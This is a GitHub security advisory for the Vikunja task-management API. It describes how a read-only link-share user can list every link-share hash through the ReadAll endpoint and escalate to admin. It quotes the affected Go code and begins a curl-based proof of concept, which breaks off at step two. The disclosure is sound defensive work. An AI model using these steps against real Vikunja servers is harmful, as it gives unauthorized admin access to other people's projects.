GitHub Security Advisory: GHSA-8hp8-9fhr-pfm9
Package: code.vikunja.io/api (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-285: Improper Authorization
Vulnerable versions: < 2.2.2
Patched in: 2.2.2

Summary: Vikjuna: Link Share Hash Disclosure via ReadAll Endpoint Enables Permission Escalation

Details:
## Summary

The `LinkSharing.ReadAll()` method allows link share authenticated users to list all link shares for a project, including their secret hashes. While `LinkSharing.CanRead()` correctly blocks link share users from reading individual shares via `ReadOne`, the `ReadAllWeb` handler bypasses this check by never calling `CanRead()`. An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.

## Details

The vulnerability arises from an inconsistency between the `ReadOneWeb` and `ReadAllWeb` generic handlers and the `LinkSharing` permission model.

**`LinkSharing.CanRead()` correctly blocks link share users** (`pkg/models/link_sharing_permissions.go:25-29`):
```go
func (share *LinkSharing) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
	if _, is := a.(*LinkSharing); is {
		return false, 0, nil  // Blocks link share users
	}
	// ...
}
```

**`ReadOneWeb` calls `CanRead()` before returning data** (`pkg/web/handler/read_one.go:64`):
```go
canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth)
if !canRead {
    return echo.NewHTTPError(http.StatusForbidden, ...)
}
```

**`ReadAllWeb` does NOT call `CanRead()`** (`pkg/web/handler/read_all.go:106`):
```go
// Directly calls ReadAll without permission check
result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)
```

**`LinkSharing.ReadAll()` only checks project-level read access** (`pkg/models/link_sharing.go:228-236`):
```go
func (share *LinkSharing) ReadAll(s *xorm.Session, a web.Auth, ...) (...) {
    project := &Project{ID: share.ProjectID}
    can, _, err := project.CanRead(s, a)  // Link share users pass this!
    if !can {
        return nil, 0, 0, ErrGenericForbidden{}
    }
    // Returns all shares with hashes...
```

**`Project.CanRead()` allows link share users** (`pkg/models/project_permissions.go:105-108`):
```go
shareAuth, ok := a.(*LinkSharing)
if ok {
    return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ...
}
```

The `Hash` field is exposed in JSON serialization (`pkg/models/link_sharing.go:50`):
```go
Hash string `xorm:"varchar(40) not null unique" json:"hash" param:"hash"`
```

While the `Password` field is cleared at line 276, the `Hash` — which is the secret token used to authenticate — is returned in full.

## PoC

**Prerequisites:** A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).

**Step 1: Authenticate with a read-only link share**
```bash
# Authenticate with a read-only link share hash
curl -s -X POST http://localhost:3456/api/v1/shares/READ_ONLY_HASH/auth \
  | jq '.token'
# Returns: JWT token with permission=0 (read)
```

**Step 2: List all link shares for the project (hash disclosure)**
```bash
# Use the read-only JWT to lis